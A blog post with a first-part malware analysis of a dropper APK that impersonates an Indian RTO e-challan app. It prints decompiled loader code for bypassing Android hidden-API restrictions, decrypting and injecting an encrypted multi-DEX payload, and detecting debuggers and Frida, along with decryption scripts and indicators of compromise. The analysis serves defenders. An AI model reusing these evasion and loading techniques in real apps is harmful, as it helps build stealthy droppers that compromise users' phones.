# The Spam SMS that turned into a rabbit hole

<div data-node-type="callout">
<div data-node-type="callout-emoji">⚠</div>
<div data-node-type="callout-text">WARNING: If you received a SMS claiming your vehicle has an outstanding RTO challan with a link which downloads an <code>.apk</code> file, <strong>do not open it.</strong> This is an active malware campaign as of June 2026 impersonating the Ministry of Road Transport and Highways (MoRTH). Report on <a target="_blank" rel="noopener noreferrer nofollow" class="text-primary underline underline-offset-2 hover:text-primary/80 cursor-pointer" href="https://cybercrime.gov.in" style="pointer-events: none;">cybercrime.gov.in</a></div>
</div>

## Introduction

Yesterday, I got an SMS which I almost ignored; Jio had flagged it as spam. It claimed to be from the Ministry of Road Transport and Highways, warning me that my vehicle had an outstanding challan, with a link to "check and download" it. Classic urgency bait.

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/5d4b47f0-173f-4771-92df-69590c7ef3db.png align="center")

I was supposed to work on [Beacon](https://gitlab.com/realRudraP/beacon), my own Android app. Instead, when I got back to my workbench today, curiosity got the better of me. I opened the link, and it dropped an APK! I'll be honest, I was kind of excited. I'd been wanting to get my hands on live malware for a while, and here it was, delivered straight to my phone.

What I expected to be a quick five-minute triage turned into a full day of rabbit holes, my first real-world malware analysis, and now a blog post.

The Part 1 of this writeup covers the dropper/loader, while the 2nd part will be about the embedded payload.

For this analysis, I used jadx, MobSF and some custom python scripts to make life easier.

Let's get into it!

Part 1/n

* * *

## Triage

Following awesome cybersecurity content creators like John Hammond on YouTube and watching many of their malware analysis videos, I decided to go the proper way and start with a triage of the APK file. Here's what I gathered:

*   The name of the APK file was `ca8818e7_RT0-eChallan.apk`
    
*   The SHA-256 hash is `364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2`
    

Looking the SHA-256 hash on VirusTotal confirmed my suspicion. It had 8/58 vendors reporting it as malicious, and it was labelled as a Trojan, dropper and banker.

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/81bb5b46-88fb-453d-9aec-4f39fc33babf.png align="center")

*   The package name `com.uptodown.installer` was an attempt at impersonating `uptodown.com`, a legitimate APK store.
    

I then ran the APK through the MobSF instance on my machine, and the Government of India emblem and the name of the app `Rto Echallan` was another layer of impersonation which would be seen by the user. Even before starting the analysis, the package name was a red flag, since genuine government apps would use `in.gov.*` or similar official namespaces.

MobSF gave a security score of 26/100, and reported 0/432 trackers detected.

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/8ad243b0-32b4-46d9-9b01-1478d3b2cbd8.png align="center")

* * *

### Automated Analysis: MobSF

[MobSF](https://github.com/mobsf/mobile-security-framework-mobsf) is "a security research platform for mobile applications in Android, iOS and Windows Mobile. MobSF can be used for a variety of use cases such as mobile application security, penetration testing, malware analysis, and privacy analysis."

It performs quite a lot of the initial analysis usually done fast, and shows the results in a beautiful UI.

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/10ac7cf0-a7a0-4b70-83a7-48862799ec7d.png align="center")

Out of all the things which MobSF showed, the permissions section is what stood out the most to me. The following table shows the suspicious permissions and a brief explanation of why it raised alarms for me.

| Permission | Why it's suspicious |
| --- | --- |
| `READ_EXTERNAL_STORAGE` | Exfiltrate files from the device |
| `REQUEST_INSTALL_PACKAGES` | Silently install additional APKs/payloads |
| `RECEIVE_BOOT_COMPLETED` | Persistence: survives device reboot |
| `FOREGROUND_SERVICE` | Run silently in background without user seeing it |
| `SCHEDULE_EXACT_ALARM` | Time precise background operations |
| `SET_WALLPAPER` | Low signal alone, but part of a broader spyware pattern |

While these permissions in themselves are used often by benign apps, all of them coming together is something to be cautious about.

Along with the permissions, the decompiled source code of the app also included SAI (Split APK Installer), which is used to install APKs onto devices. This strengthened the hypotheses that the app is a [dropper](https://en.wikipedia.org/wiki/Dropper_\(malware\)), which would be used to install more malicious packages.

* * *

## Static Analysis

### Opening the file in JADX

*   Opening the file in JADX revealed an important detail: the sources for the APK had both the code for `com.aefyr.sai` and `com.wave`, with the latter containing files with seemingly random names.
    

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/e840ded1-cffa-4bda-b56f-45494946a629.png align="center")

Looking through the files, I noticed that there was very little source code visible, which meant it wasn't a very heavily-featured app and that most logic was hidden.

Which meant I now had to uncover it.

### String Obfuscation: XOR cipher

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/e43d432a-a69d-4f08-99a3-39c9dd041c2a.png align="center")

The `i1qiwvd` function shown in the screenshot is a classic XOR Cipher. It takes a byte array, and an integer key as parameters, XORs them byte by byte and return the result in the form of a string. This pattern is commonly used throughout the codebase to hide strings from static analyzers.

I used the following Python script to decode the data wherever need be

```python
def decrypt_string_xor(byte_array, xor_key):
    decrypted = bytearray()
    for b in byte_array:
        # Java bytes are unsigned while Python bytes are signed
        # Normalize the byte to be in the range of 0-255
        if b < 0:
            b += 256
        decrypted.append(b ^ xor_key)

    return decrypted.decode("utf-8", errors="ignore")
```

After this, I renamed the function in JADX so the logic became more readable.

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">From this point on, I have replaced all XOR-encrypted strings with their decrypted values.</div>
</div>

* * *

### Bypassing Android's Hidden API Restriction

As I began inspecting the source code, I noticed a long body for the `attachBaseContext()` method. This method is often used by malware authors since it runs before the application even launches, and as the name suggests, acts as the base context for the actual package.

The `attachBaseContext` function included a call to the `oufbd()` method, which upon inspection led to an interesting observation. Here is the cleaned up code of the method

```java
public static void oufbd() {
        if (Build.VERSION.SDK_INT < 28) {
            // If Android Version is less than 9, return
            return;
        }
        try {
            Method forName = Class.class.getDeclaredMethod(
                "forName",
                String.class
            );
            Method getDeclaredMethod = Class.class.getDeclaredMethod(
                "getDeclaredMethod",
                String.class,
                Class[].class
            );
            Class cls = (Class) forName.invoke(
                null,
                "dalvik.system.VMRuntime"
            );
            (
                (Method) getDeclaredMethod.invoke(
                    cls,
                    "setHiddenApiExemptions",
                    new Class[] { String[].class }
                )
            ).invoke(
                (
                    (Method) getDeclaredMethod.invoke(cls, "getRuntime", null)
                ).invoke(null, new Object[0]),
                "L"
            );
        } catch (Throwable th) {}
    }
```

This block of code tries to achieve access to blocked internal Android APIs using a technique called [Reflection](https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection). Google, since Android 9 has blocked apps from directly accessing these critical methods, and trying to invoke them results in the app being terminated along with a SecurityException. To get past this, as well as static analyzers which look out for calls to these functions, the APK uses Double Reflection to call the function `VMRuntime.setHiddenApiExemptions("L")`, which disables all the security measures related to the hidden Android APIs.

The "L", in Dalvik bytecode is the prefix for all Java class references, hence the above function call allowlists all methods to be called.

Another benefit of this is that since the decryption of the class and methods names do not happen until runtime, call-graph analyzers also fail to properly map the API usage.

### The Payload Decryption Chain

Looking at the next function being called, it is seen that the file `r_4dfb.bin` is extracted from the APKs assets. It is passed into a interestingly designed function, which seems to decrypt a given input in multiple ways, depending on an integer variable passed to it in the function call. I call this function the `multiplexedPayloadDecryptor`

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/1c819e36-3e34-4eb6-a46f-402bf34404bc.png align="center")

Since the function call in the current step used the `opCode` 0, I only investigated that branch to find that it was again, a repeating XOR cipher, which takes a byte array of ciphertext and key, and returns the plaintext.

Analyzing the function call, the ciphertext in this case was the file in the assets, the key was being returned by a constant value return function. The other branches will be analyzed in the upcoming parts if need be.

I wrote a python script to emulate the behavior on the file I had extracted from the APKs assets and from the constant key which I found embedded in the code.

```python
def decrypt_payload():
    xor_java_key = [
        108,
        41,
        58,
        17,
        -66,
        107,
        -18,
        80,
        127,
        9,
        -123,
        127,
        101,
        -41,
        23,
        108,
    ]

    xor_key = [b + 256 if b < 0 else b for b in xor_java_key]

    target_file = "r_4dfb.bin"
    output_file = "decrypted_payload.bin"

    with open(target_file, "rb") as f:
        encrypted_data = f.read()

    decrypted_data = bytearray()
    key_length = len(xor_key)

    for i, byte in enumerate(encrypted_data):
        decrypted_data.append(byte ^ xor_key[i % key_length])

    with open(output_file, "wb") as f:
        f.write(decrypted_data)


if __name__ == "__main__":
    decrypt_payload()
    print("Decryption complete. Decrypted payload saved to 'decrypted_payload.bin'.")
```

I was very excited to see the result of my work so far, so I ran the `file` command on the output, to be disappointed at the sight of

```shell
litmus in ~/CTFs/MalwareAnalysis λ file decrypted_payload.bin
decrypted_payload.bin: data
```

Looks like the malware author had more tricks up their sleeve. Back to analysis

#### The awesome crypto

The malware author has gone great lengths to ensure that the payload in the assets was not tampered with. So much so that they implemented a HMAC-SHA256 keyed signature.

```java
// Concatenates the byte array with hardcoded string "dg_hmac_v2" and computes the SHA-256 hash
    private static byte[] computeCustomHMAC(byte[] bArr) throws Exception {
        MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
        messageDigest.update(bArr);
        messageDigest.update("dg_hmac_v2".getBytes("UTF-8"));
        return messageDigest.digest();
    }

    public static boolean validateHMACSignature(byte[] keyMaterial, byte[] targetPayload, byte[] expectedMACTag) {
        try {
            byte[] derievedKey = computeCustomHMAC(keyMaterial);
            String HmacSHA256 = "HmacSHA256";
            Class<?> JavaCryptoMAC = Class.forName("javax.crypto.Mac");
            Object objInvoke = JavaCryptoMAC.getMethod("getInstance", String.class).invoke(null, HmacSHA256);
            JavaCryptoMAC.getMethod("init", Key.class).invoke(objInvoke, Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(derievedKey, HmacSHA256));
            return MessageDigest.isEqual((byte[]) JavaCryptoMAC.getMethod("doFinal").invoke(objInvoke, targetPayload), expectedMACTag);
        } catch (Throwable th) {
            return false;
        }
    }

    public static byte[] doAESCBCDecryption(byte[] bArr, byte[] bArr2, byte[] bArr3) throws Exception {
        Class<?> javaCryptoCipher = Class.forName("javax.crypto.Cipher");
        Object objInvoke = javaCryptoCipher.getMethod("getInstance", String.class).invoke(null, "AES/CBC/PKCS5Padding");
        javaCryptoCipher.getMethod("init", Integer.TYPE, Key.class, AlgorithmParameterSpec.class).invoke(objInvoke, Integer.valueOf(javaCryptoCipher.getField("DECRYPT_MODE").getInt(null)), Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(bArr, "AES"), Class.forName("javax.crypto.spec.IvParameterSpec").getConstructor(byte[].class).newInstance(bArr2));
        return (byte[]) javaCryptoCipher.getMethod("doFinal", byte[].class).invoke(objInvoke, bArr3);
    }

    public static boolean isValidMultiDexContainer(byte[] data) {
        int dexCount;
        int dexSize;
        if (data == null || data.length < 8 || (dexCount = bytesToIntLittleEndian(data, 0)) <= 0 || dexCount > 100) {
            return false;
        }
        int offset = 4;
        for (int dexIndex = 0; dexIndex < dexCount; dexIndex++) {
            int payloadOffset = offset + 4;
            // The following checks if the first byte values are dex\n which is the magic byte sequence for DEX file headers
            if (payloadOffset > data.length || (dexSize = bytesToIntLittleEndian(data, offset)) <= 0 || dexSize > data.length - payloadOffset || data[payloadOffset] != 100 || data[payloadOffset + 1] != 101 || data[payloadOffset + 2] != 120 || data[payloadOffset + 3] != 10) {
                return false;
            }
            offset = dexSize + payloadOffset;
        }
        return true;
    }

    public static byte[] authenticateAndDecryptPayload(byte[] encapsulatedPayload, byte[] hmacSeedKey, byte[] decryptionIV) throws Exception {
        if (encapsulatedPayload.length < 33) {
            throw new RuntimeException("p<33");
        }
        byte[] expectedSignature = Arrays.copyOfRange(encapsulatedPayload, 0, 32);
        byte[] targetPayload = Arrays.copyOfRange(encapsulatedPayload, 32, encapsulatedPayload.length);
        if (!validateHMACSignature(hmacSeedKey, targetPayload, expectedSignature)) {
            throw new RuntimeException(stringDecryptXOR(new byte[]{35, 61}, 75));
        }
        byte[] decryptedPayload = doAESCBCDecryption(hmacSeedKey, decryptionIV, targetPayload);
        if (!isValidMultiDexContainer(decryptedPayload)) {
            throw new RuntimeException(stringDecryptXOR(new byte[]{42, 63}, 73));
        }
        return decryptedPayload;
    }
```

Phew, that's a pretty long verification and decryption routine. Let me break it down for easier understanding:

*   First, the length of the payload is checked. It is expected to be a minimum of 33 characters, since the first 32 characters are later utilized as the expected HMAC-SHA256 signature, and atleast a single byte of encrypted payload must follow.
    
*   The first 32 bytes are copied into a chunk, and the rest of the byte array is the encrypted payload. There are passed to a function along with a hardcoded `hmacSeedKey[]` to check the integrity of the embedded payload.
    
*   Following the integrity check, the function then calls another function which decrypts the encrypted payload using the `hmacSeedKey`, a hardcoded `decryptionIV` in AES-CBC mode and stores the decrypted content in another byte array.
    
*   Finally, a helper function is used to check the decrypted payload for the presence of multiple DEX containers, which will later be loaded into memory.
    

It is also interesting to note that the malware author used Reflection for the Crypto APIs usage, since their prescence in a normal app is very likely to raise red flags.

#### The Multi-DEX container format

The decrypted payload, atleast from the code that follows doesn't seem to look like a standard APK or DEX file, instead the author seems to have created a custom container. The container uses Little endian Int32 for the `dexCount` (max 100), followed by sequential `dexSize + dexBlob` pairs.

Furthermore, the `isValidMultiDexContainer` function is validates each of the DEX files agains the `dex\n` magic bytes (100, 101, 120, 10). This shows the droppers capability to inject multiple DEX files into the hosts memory.

```java
public static void loadPayload(Context context, byte[] AESDecryptedPayload) throws Throwable {
        byte[][] payloads = unpackMultiplexedContainer(AESDecryptedPayload);
        ClassLoader classLoader = context.getClassLoader();
        // If greater than Android 8, the payload is executed.
        if (Build.VERSION.SDK_INT >= 26) {
            try {
                if (injectDexPayloads(context, payloads, classLoader)) {
                    return;
                }
            } catch (Throwable th) {
            }
        }

        // Potentially methods for older versions (Android <8). Not analyzed yet. Redacted for brevity
        }
```

The `loadPayload` method uses Classloader manipulation to inject the Dex payloads for Android 8+. There seems to be more code as fallback for older versions, but I haven't analyzed it yet.

### Anti-Analysis: Emulator and Environment detection

The malware authors `F36n670g` class is full of methods to detect analysis measures which checks things like if a debugger is connected, if Xposed is installed, if the Frida server port is listening, whether the application is being traced and if any hooking framework is loaded.

```java
public static boolean passesAntiAnalysisChecks() {
        try {
            int detectionCount = isDebuggerConnected() ? 1 : 0;
            if (hasXposedInstalled()) {
                detectionCount++;
            }
            if (isFridaPresent()) {
                detectionCount++;
            }
            if (isBeingTraced()) {
                detectionCount++;
            }
            if (hasHookingFrameworkLoaded()) {
                detectionCount++;
            }
            if (detectionCount <= 0) {
                return true;
            }
            killSelf();
            return false;
        } catch (Throwable th) {
            return true;
        }
    }
```

Interesting, the `passesAntiAnalysisChecks` function uses a detection score to determine whether or not to quit execution instead of a direct binary check. The reason behind this remains a mystery.

Furthermore, since analysts may attach debuggers and start monitoring the process after this check is done, the malware author went out of their way and added the following code to the `attachBaseContext` function

```java
// Create a daemon thread which keeps checking for analysis vectors even after
            // DEX files are loaded
            Thread thread = new Thread(new continuosAntiAnalysisChecks());
            thread.setDaemon(true);
            thread.start();
```

```java
public class continuosAntiAnalysisChecks implements Runnable {
    @Override // java.lang.Runnable
    public void run() {
        int i = 0;
        while (!Thread.currentThread().isInterrupted()) {
            try {
                try {
                    F36n670g.passesAntiAnalysisChecks();
                } catch (Throwable th) {
                }
                try {
                    Thread.sleep(((long) (Math.random() * 4000.0d)) + 3000);
                    i = 0;
                } catch (Throwable th2) {
                    i = 1;
                    if (i > 5) {
                        F36n670g.killSelf();
                    }
                    try {
                        Thread.sleep(5000L);
                    } catch (InterruptedException e) {
                        Thread.currentThread().interrupt();
                        return;
                    }
                }
            } catch (InterruptedException e2) {
                Thread.currentThread().interrupt();
                return;
            }
        }
    }
}
```

The daemon thread keeps checking every 3-7 seconds (randomized to avoid timing detection) if the process is being watched. This is why dynamic analysis with Frida is going to be diffucult without patching these checks first.

* * *

## Putting it all together

After all the analysis, here is the much more readable, annotated `attachBaseContext` function

```java
@Override // android.content.ContextWrapper
    protected void attachBaseContext(Context context) {
        final Thread.UncaughtExceptionHandler defaultUncaughtExceptionHandler = Thread.getDefaultUncaughtExceptionHandler();
        // Supress crash logging, hides errors from detection systems
        Thread.setDefaultUncaughtExceptionHandler(new Thread.UncaughtExceptionHandler() { // from class: com.wave.Validatorql.1
            @Override // java.lang.Thread.UncaughtExceptionHandler
            public void uncaughtException(Thread thread, Throwable th) {
                if (defaultUncaughtExceptionHandler != null) {
                    defaultUncaughtExceptionHandler.uncaughtException(thread, th);
                }
            }
        });
        super.attachBaseContext(context);
        try {
            // Bypass Android 9+ hidden API restrictions
            Pp5rf.bypassAPIRestrictions();
            // Extract and XOR-decrypt the r_4dfb.bin file from assets.
            byte[] decryptedBINFile = Vmfoa.multiplexedPayloadDecryptor(Vmfoa.extractAssetPayload(context, "r_4dfb.bin"), ObfuscatedByteArrays.getPayloadXORKey(), 0);
            if (decryptedBINFile == null || decryptedBINFile.length == 0) {
                throw new RuntimeException("e");
            }
            byte[] hmacSeedKey = ObfuscatedByteArrays.getHMACSeedKey();
            byte[] decryptionIV = ObfuscatedByteArrays.getDecryptionIV();
            // HMAC-SHA256 integrity check + AES-CBC decrypt the payload
            byte[] AESDecryptedBINFile = Engineja.authenticateAndDecryptPayload(decryptedBINFile, hmacSeedKey, decryptionIV);
            // Zeroize key material from memory
            Engineja.zeroizeArrays(hmacSeedKey, decryptionIV);
            // Load the DEX files into memory
            Iwl89m.loadPayload(context, AESDecryptedBINFile);
            try {
                // No-op
                Iwl89m.kjg046(context);
            } catch (Throwable th) {
            }
            Thread.currentThread().setContextClassLoader(context.getClassLoader());
            try {
                Class.forName("androidx.startup.InitializationProvider", false, context.getClassLoader());
            } catch (Throwable th2) {
            }
            try {
                // Check for debuggers, Frida etc.
                F36n670g.passesAntiAnalysisChecks();
            } catch (Throwable th3) {
            }
            // Create a daemon thread which keeps checking for analysis vectors even after
            // DEX files are loaded
            Thread thread = new Thread(new continuosAntiAnalysisChecks());
            thread.setDaemon(true);
            thread.start();
        } catch (Throwable th4) {
            throw new RuntimeException(th4);
        }
    }
```

The DEX files should now be loaded in memory and running, but what do they do? That's what I am going to dig into today, and will report back with a part 2 soon!

* * *

### IOCs for defenders

```plaintext
APK filename:  ca8818e7_RT0-eChallan.apk
Package name:  com.uptodown.installer
SHA256:        364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Asset file:    r_4dfb.bin (encrypted multi-DEX container)
HMAC salt:     dg_hmac_v2
Encryption:    AES/CBC/PKCS5Padding
HMAC seed key bytes: [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]
```
